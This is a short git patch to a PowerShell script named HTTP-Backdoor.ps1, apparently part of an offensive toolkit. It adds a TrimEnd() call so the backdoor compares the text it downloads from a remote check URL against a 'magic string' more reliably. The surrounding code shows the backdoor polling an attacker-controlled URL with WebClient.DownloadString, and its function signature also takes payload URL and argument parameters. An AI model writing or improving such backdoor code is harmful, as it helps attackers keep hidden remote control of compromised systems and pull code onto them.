From 1d1ac9806566f8c6c0c1b806446321899253c0bd Mon Sep 17 00:00:00 2001 From: john edwards Date: Tue, 11 Apr 2017 08:19:45 +1000 Subject: [PATCH] Issue #51 addition: HTTP-Backdoor MagicString Comparison improved by adding TrimEnd to ensure comparison is seamless for various server OSs. --- Backdoors/HTTP-Backdoor.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/Backdoors/HTTP-Backdoor.ps1 b/Backdoors/HTTP-Backdoor.ps1 index 0e00b41..b5100ff 100644 --- a/Backdoors/HTTP-Backdoor.ps1 +++ b/Backdoors/HTTP-Backdoor.ps1 @@ -172,6 +172,7 @@ function HTTP-Backdoor-Logic ($CheckURL, $PayloadURL, $Arguments, $MagicString, start-sleep -seconds 5 $webclient = New-Object System.Net.WebClient $filecontent = $webclient.DownloadString("$CheckURL") + $filecontent = $filecontent.TrimEnd() if($filecontent -eq $MagicString) {